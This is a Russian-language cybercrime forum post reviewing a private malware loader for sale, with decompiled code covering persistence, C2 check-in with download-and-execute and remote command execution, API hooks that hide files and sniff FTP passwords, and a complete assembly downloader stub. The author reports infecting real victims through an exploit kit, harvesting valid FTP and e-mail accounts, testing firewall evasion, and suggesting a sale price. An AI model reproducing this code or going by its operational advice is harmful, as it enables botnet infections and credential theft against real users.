Здравствуйте друзья, товарищи, форумчане, собутыльники!
Рад вас снова видеть. И готов представить Вам новый обзор. Надеюсь вам будет интересно узнать какой новый лоадер появился на нашем рынке. А главное - откуда такое странное название моего обзора.
--------------==Поехали==------------
Итак постучался ко мне человек с ником Sporting и icq 252133, попросил написать обзор его приватного лоадера, который они хотят продавать.
Поговорили, прикинули и я взялся за дело.
Получил админку, билд.
Админка
Устанавливая админку сразу подумал о том, что установка не автоматизирована. Установите права, залейте дамп и т.д. И только когда подошел практически к финальной части, вспомнил что эти же действия в точно таком же порядке я уже совершал. Немного прикинув мужской половой орган к органам дыхания сообразил, это же админка от myLoader ставится точно таким же способом.
Абсолютно заинтригованный полез в админку через интерфейс и действительно. Она самая. Только с новым функционалом которого я ранее никогда не встречал и без логотипа.
Смотрим скрины:
Рис.1 | Рис.2 | Рис.3 | Рис.4 | Рис.5 | Рис.6 | Рис.7 | Рис.8
Спрашиваю у автора лоадера, что такое? На что мне отвечают, что админку заказывали у того же чела, который для myLoader-а писал.
Ну и ладно. Я же не против. Да и как бы меня это не касается. Едем дальше.
Меня сразу предупреждают что соксы пока не доделаны, поэтому их тестить не будем.
Билд
Лоадер написан на СИ, упакован upx.
Размер билда 24 кб
Не упакованный - 44 кб.
Внутри билда лежит dll. но об этом позже.
Файл изначально палится 10/38 по статистике virtest.com Смотреть отчет.
Реверс - проводил EL-
Дали бинарь сказали реверсь, внутри обещали лоадер, фтп снифер и подмену, потом все это запостят на DL. В общем пожатый upx бинарь, чистый вес 44032 байт, собран с CRT, а так же импортирует функи из msvcrt.dll, не по хекерски, но кто мы такие, что бы судить, главное что б работал. В начале как положено находятся несколько api'шек которые тащить в иморте видимо не стоит, все имена api и dll закриптованы по средство rc4.
get_bot_id() - функа читает в буфер %SYSTEMROOT%\system32, %SYSTEMDRIVE%, GetVolumeInformation(VolumeSerialNumber), %COMPUTERNAME%, %TEMP%, ProductId из HKLM\SOFTWARE\Microsoft\Internet Explorer\Registration потому весь этот буфер посредством abs(calc_hash(ProductId) + calc_hash(buf) + GetSystemInfo(wProcessorRevision)) превращается в id для бота.
get_advert_id_from_mz_header() - функа читает 'not be r' из MZ хидера с чем то сравнивает и в итоги выделяет память под символ '0', как я понял там будет хранится advert_id в случае если грузить будут с партнерок или мб сдавать в аренду.
drop_file_2_system() - функа дропает свой файл в %SYSTEMROOT%\system32\ntdevice.exe и %USERPROFILE%\userinit.exe, причем дропает не просто через CopyFile, а читает из своего файла и пишет в нужный, потом выставляется filetime kernel32.dll, смотрится откуда стартует текущий бинарник если не из выше перечисленных путей то пускает один из них, это собственно инсталяция.
Далее дропается dll хукер из него вызывается функа, которая собственно начинает её работу об это позже. По коду можно судить о наличии очень тонкого чувста юмора у автора бот или на худой конец отсутствие фантазии как таковой
Код:
drop_file_2_system();
ExpandEnvironmentStringsA("%USERPROFILE%\\pizda_ftp.dll", g_ftp_dll_path, 0xFFu);
ExpandEnvironmentStringsA("%USERPROFILE%\\pizda_ntload.dll", g_ntload_dll_path, 0xFFu);
drop_ntload(v8);
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)load_hooker_dll_n_start, 0, 0, &ThreadId);
lpString1 = (LPSTR)malloc(0x64u);
lstrcpyA(lpString1, "leeman_loh");
get_bot_type();
ExpandEnvironmentStringsA("%USERPROFILE%\\pizda_bkurl.dat", g_bkurl_path, 0xFFu);
Код:
get_full_windows_name((int)&v14);
v10 = g_bot_type();
VerLanguageNameA(v10, &Dst, 0xFFu);
lstrcpyA(g_url_buffer, "id=");
v11 = num2str_with_alloc(g_bid);
lstrcatA(g_url_buffer, (LPCSTR)v11);
lstrcatA(g_url_buffer, "&v=");
lstrcatA(g_url_buffer, dword_40BEA4);
lstrcatA(g_url_buffer, "&wv=");
v9 = lpString;
v12 = urlencode(lpString);
lstrcatA(g_url_buffer, (LPCSTR)v12);
lstrcatA(g_url_buffer, "&lang=");
v13 = urlencode(&Dst);
lstrcatA(g_url_buffer, (LPCSTR)v13);
lstrcatA(g_url_buffer, "&f[]=loader");
lstrcatA(g_url_buffer, "&f[]=dll");
lstrcatA(g_url_buffer, "&f[]=file_hook");
lstrcatA(g_url_buffer, "&f[]=reg_hook");
lstrcatA(g_url_buffer, "&f[]=exec");
Все в принципе стандартно, в бесконечном цикле постоянно вызываются drop_file_2_system() и install_2_autorun(), а так же идет отстук на стату за заданиями. Неожиданностью было и имя принимающего скрипта http://xxxx.xxx/xxxx/manda.php.
find_alive_server - ищет живой урл для отстука в списке, который есть у бота, knok_knok - стучит на серв, а дальше возвращенный буфер парсится по строкам.
Код:
if ( find_alive_server() )
{
v4 = knok_knok(g_url_buffer, (int)String1, (int)lpString1);
v5 = 0;
if ( !v4 )
goto LABEL_21;
for ( i = v4;; i += lstrlenA(v8) + 1 )
{
v7 = str_explode((int)L"\n", i);
v8 = v7;
if ( !v7 )
break;
if ( *v7 == 'h' )
download_n_exec(v7);
if ( *v8 == 'e' )
cmd_exec((int)v8);
if ( *v8 == 'b' )
add_cnc_url((int)v8);
if ( *v8 == 'd' )
{
if ( v8[1] == 'e' )
mb_sleep((int)v8);
}
if ( *v8 == 'c' )
{
if ( v8[1] == 'r' )
{
if ( v8[2] == ':' )
ahez(v8 + 3);
}
}
}
}
Теперь описание dll'ки
В экспорте dll одна функа которая в принципе делает только это
Код:
if ( SetWindowsHookExA(4, fn, hmod, 0) )
{
while ( GetMessageA(&Msg, 0, 0, 0) )
{
TranslateMessage(&Msg);
DispatchMessageA(&Msg);
}
}
Код:
rc4_decrypt_with_alloc((int)&v3, (int)&unk_10004770, 0xCu);// advapi32.dll
v0 = GetModuleHandleA(lpLibFileName);
g_advapi = v0;
if ( !v0 )
{
v0 = LoadLibraryA(lpLibFileName);
g_advapi = v0;
}
hook(v0, szRegDeleteValueA, (int)handler_RegDeleteValueA, (int)&real_RegDeleteValueA);
hook(g_advapi, szRegDeleteValueW, (int)handler_RegDeleteValueW, (int)&real_RegDeleteValueW);
hook(g_advapi, szRegQueryValueExA, (int)handler_RegQueryValueExA, (int)&real_RegQueryValueExA);
hook(g_advapi, szRegQueryValueExW, (int)handler_RegQueryValueExW, (int)&real_RegQueryValueExW);
rc4_decrypt_with_alloc((int)&v5, (int)&unk_100043E0, 0xCu);// kernel32.dll
g_kernel32 = GetModuleHandleA(lpModuleName);
if ( !g_kernel32 )
g_advapi = LoadLibraryA(lpModuleName);
hook(g_kernel32, szFindNextFileA, (int)handler_FindNextFileA, (int)&real_FindNextFileA);
hook(g_kernel32, szFindNextFileW, (int)handler_FindNextFileW, (int)&real_FindNextFileW);
hook(g_kernel32, szTerminateProcess, (int)handler_TerminateProcess, (int)&real_TerminateProcess);
rc4_decrypt_with_alloc((int)&v1, (int)&unk_100047A8, 9u);// ntdll.dll
if ( !dword_100069D4 )
g_ntdll = LoadLibraryA(v2);
hook(g_ntdll, szNtDeviceIoControlFile, (int)handler_NtDeviceIoControlFile, (int)&real_NtDeviceIoControlFile);
Как уже наверное стало понятно в обработчиках reg и file функций лочатся/скрываются ключи/файлы c именами ntdevice, userinit и как это не удивительно pizda_. В обработчике TerminateProcess не дают грохнуть процесс с именами ntdevice и userinit, ну и самое интересно собственно в хуке NtDeviceIoControlFile там ловится IoControlCode AFD_SEND и тем самым получается весь исходящий трафик, в котором ловятся USER/PASS получается фтп снифер.
На последок хотелось бы выделить несколько моментов:
- трой содержит длл которая дропается на винт, что создаст море проблем юзерам троя
- используется очень уж очевидный инжект, в котором даже видно путь к файлу длл которая ставит хуки
- давным давно скрытие процессов палилось несколькими ав, которые в принципе не должны этим заниматься, сейчас же будущие антируткиты в ав уже не редкость, имхо все это скрытие только будет способствовать палеву бота нежели поможет ему ... имхо лучше ваще ничего не скрывать, а лочить доступ
- не надежные хуки, без особых усилий можно обрушить процесс послав в хукнутые апи неправильные параметры.
- раз уж делается инжект зачем стучать на серв из главного процесса который по сути не обойдет даже встроенный в винду фаер.
- и да на моей виртуалке все это дело падает при выключение винды.
Я мог бы закинуть еще базы ida, но не уверен что это можно делать.
--------------==Тесты==------------
Благодаря тому, что все наши замечательные криптеры дружно свалили на йух, времени на рассматривание файла у меня было очень много.
И я первым делом взялся за тесты на фаерволы. Ну, как бы, любой лоадер в первую очередь должен уметь обходить фаерволы и тянуть нашу малварю, несмотря ни на что, на компьютер жертвы.
Тест на фаерволы проводился под winXP SP3 (сборка Philka), под админской учетной записью на виртуальной машине.
agava firewall - палит (стандартная установка. Со всем соглашаюсь. Автоматом ставит антиспай и антиспам модули. Уровень защиты приложений - ставлю высокий. Там на выбор три варианта. Я как пользователь ессно требую самый высокий. )
ashampo - палит. (все по дэфолту)
comodo firewall - палит, но тут еще пришлось прилично постараться чтобы запустить его. Добрый дядя комод как на исповеди рассказывал все что этот файл делает. (все по дэфолту)
f-secure - не палит. (все по дэфолту)
KIS11 - палит. (все по дэфолту)
outpost 7 - палит (все по дэфолту)
Zonealarm - палит (все по дэфолту)
После запуска лоадера возникает ошибка при выключении компьютера. При последующем включении-выключении ошибка не выскакивает.
Рис.9
Аналогичная ошибка возникала у нашего реверсера при тестах.
Test1
Получив криптованный файл (слава богу есть еще нормальные люди на этом форуме) ставлю на прогруз.
В первом тесте решил грузить со связки. Ну, а как всем давно известно, я юзаю элеонору.
отгружено со связки: 239
Отстучалось в стату: 101
Отстук: 42,3%
Рис.10 | Рис.11 | Рис.12 | Рис.13
Не долго думая ставлю на прогруз моего любимого стукача.
Для тех кто не вкурсе что это такое - это 15 строчек на ASM-е без всяких там обходов и прочей хренотени. Просто тупая и простейшая стучалка на гейт.
Код:
.386
.model flat, stdcall
option casemap :none
include windows.inc
include urlmon.inc
include kernel32.inc
includelib urlmon.lib
includelib kernel32.lib
.code
url db "http://gate.com/",0
Main proc
invoke URLDownloadToFile,0,addr url,0,0,0
invoke ExitProcess,0
Main endp
end Main
Отгружено лоадером: 83
Отстучалось: 80
Отстук: 96%
Рис.14
Test2
Ну и намучался я в этом тесте... Суть в чем. Было у меня подготовлено 2 криптованных файла. Один был чистый (с которым я и работал), второй палился парой АВ. Ставлю на прогруз. Грузится по лоадеру 200 ботов, а отстука НОЛЬ. Я в панике начинаю рвать волосы на ректальном отверстии. Беру второй криптованный билд. Ситуация не изменяется. Тут меня окончательно переклинило. Думаю: "наверное админка навернулась". Ставлю некриптованный билд на прогруз - и ОНО ЗАРАБОТАЛО. т.е. по каким-то причинам оба криптованных файла наотрез отказывались работать через сторонний лоадер.
Попсиховал я малость и решил теститься на некриптованном. Ну что поделаешь. Не судьба наверное.
Отгружено с лоадера: 270
Отстучалось в стату: 327
Отстук: 121%
Рис.15 (стата начало) | Рис.16 (стата конец) | Рис.11 (стата До) | Рис.17 (Стата После)
Смотрю я на полученный результат и оплываю. Не стыкуется у меня что-то математика. Вышел, покурил, пересчитал еще раз. Все правильно. Врет админка.
И тут я вспоминаю про свои тесты с криптованным файлом. Думаю что какие-то из прогруженных ботов вероятно отстучались. Поэтому перебор. Ладно. Повторим этот тест чуть позже.
Test3
Не понравилось мне что отстук со связки, оказался в районе 42%. Решил опять стукачом проверить все.
Ставлю для сравнения на связку стукача.
отгружено со связки: 108
Отстучалось в стату: 94
Отстук: 87%
Рис.18
Ну как так? Голимых 15 строк выдают результат в два раза выше чем лоадер!!! Ну где логика?
Test4
Ладно думаю. Пора опять к лоадеру вернуться. Попросил еще одного знакомого криптануть файл своими методами.
Опять ставлю на лоадер грузиться нашего подопытного, но уже криптованного.
Отгружено с лоадера: 103
Отстучалось в стату: 20
Отстук: 19,4%
Рис.18 (лоадер_старт) | Рис.19 (лоадер_стоп) | Рис.17 (стата ДО) | Рис.20 (стата после)
Что же у нас получается. В первом тесте лоадер с лоадера 121% а в этом тесте 19,4%. Ну не может такого быть. Не логично. Лоадер с лоадера должен полюбому быть ВЫШЕ чем со связки - это раз. И полюбому больше 60% - это два.
Test5
Решаю подождать и еще раз повторить тест с некриптованным билдом.
Жду 20 минут и снова ставлю.
Отгружено с лоадера: 100
Отстучалось в стату: 121
Отстук: 121%
Рис.21 (Стата начало) | Рис.22 (стата конец) | Рис.23 (лоадер ДО) | Рис.24 (Лоадер после)
Опять двадцать пять. И опять эти 121%. Откуда они берутся- не понятно.
Информирую о проблеме автора. Продолжаю теститься.
Test6
Вспоминаю показатели стукача. Смотрю на отстук лоадера. Неправильно. Решаю проверить еще один вариант. Ну допустим у меня некорректный крипт. Ну всякое бывает. Решаю прогрузить некриптованный билд со связки.
Отгружено со связки: 100
Отстучалось в стату: 52
Отстук: 52%
Рис.25 | Рис.26 | Рис.27
По результатам этого теста становится видно, что отстук возрос. Не супер-пупер, но возрос. 42,3% против 52%. Вот вам и крипт. Стараемся чиститься, меньше палиться, а в итоге что получаем?
Test7
Это так называемый тест временем.
Я сделал два контрольных скрина админки что бы посмотреть что у меня останется через сутки или двое из живых ботов.
Через 24 часа Рис.28
Через 48 часов Рис.29
--------------==FTP Граббер==------------
Изначально я был в жутком гневе. Вместо распрекрастных ftp мне начали сыпаться e-mail аккаунты пользователей. Пробовал юзать как ftp - не катит. Если заходить на мыльник - катит.
Написал гневное сообщение автору. Автор, кстати, был удивлен такому повороту событий.
Далее я забил на это дело болт. Как оказывается ЗРЯ!
Спустя некоторое время, зайдя в раздел сс FTP увидел заветную надпись valid. Рис.30
т.е. лоадер грабит и ftp и e-mail аккаунты. И постепенно их чекает. И как оказалось - удачно.
На текущий момент (сутки после прогруза) у меня в админке 16 валидных ftp.
Экспорт работает отлично. Рис.31
Единственное что не понравилось - это неудобный список ftp.
Я бы увеличил с 2 отображаемых строк до 50 хотя бы.
Ну или отдельные закладки для валид/невалид в этом подпункте меню.
--------------==Фейк==------------
Решил испытать и этот чудестный модуль в лоадере. Сделал задание Рис.32
А по указанному адресу написал небольшую страничку на HTML и установил код счетчика от гугла.
Код:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<script language="JavaScript1.1" type="text/javascript">
<!--
location.replace("http://gogle.com");
//-->
</script>
<script type="text/javascript">
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-2266865-12']);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
</script>
<noscript>
<meta http-equiv="Refresh" content="0; URL=http://gogle.com">
</noscript>
</head>
<body>
Redirecting to server...
</body>
</html>
Сейчас переделал файлик и о результатах отпишусь через день - два.
--------------==Эпилог==------------
Я обычно не пишу резолюции. Неоднократно обжигаясь на недовольных я перестал это делать. Но все чаще и чаще меня просят их писать. Сегодня я вставлю свои пять копеек.
Итак, подводя итоги:
Недостатки:
1. нет обходов фаерволов.
2. имеет на борту dll которая будет дропаться на винт некриптованная. И соответственно палить загрузки.
3. невысокий процент отстука со связки.
4. некоторые недочеты в админке.
Достоинства:
1. Лоадер неплох в отношении доставки и запуска файлов. Отстук с него чудесный. т.е. свою основную функцию он выполняет отлично.
2. Админка не создает нагрузки на сервер. В процессе тестов я поглядывал на показатели загруженности и все было ровно.
Пожелания:
Я вижу проделанную работу. Я нисколько не хочу обидеть автора или выразить ему неуважение в профессионализме. НО лоадер определенно требует доработки. В первую очередь я рекомендую вам поработать над самим билдом. м.б. стоит отказаться от dll? Она очень сильно будет "портить малину". Так же обратите внимание на используемые способы интеграции в систему. Есть узкие места и вы о них знаете. Ну и проверьте что происходит с отстуком в админку. Откуда 121%?
Меня однажды автор просил прикинуть цену этого лоадера. Я рекомендую установить на текущий момент ценник не выше 600$. После финальных доработок и устранения указанных мной недостатков цену можно будет держать в районе 800-1200$ в зависимости от спроса и показателей.
Теперь что касается моего мнения об авторе.
В разговоре был учтив. Закидонов небыло. Писал без ошибок (не в обиду, но школьники 7-10 класс достали уже). Был учтив. Мне очень понравился.
Ну и хочется ответить на возникших у многих вопрос о выборе мною логотипа и названия статьи. Дело в том, что у данного лоадера сейчас пока нет названия. А мои подозрения о попытке барыжнечества el- развеял напрочь. Автор написал сам этот лоадер и это не модификация многим известного myLoader. Вот отсюда и родилась, собственно, идея.
--------------==Благодарности==------------
В первую очередь выражаю благодарность автору за предоставленный на обзор материал.
Отдельно хочу поблагодарить реверсера и "соучасника" EL-. Спасибо тебе огромное.
Так же хочется сказать спасибо HTC, Demien, Михрютка, Exmanoize. Ребята! Спасибо что вы есть и спасибо что поддерживаете меня.
Ну и конечно же СПАСИБО всем, кто читает мои обзоры.
p.s. Записки на полях, специально для xss.pro/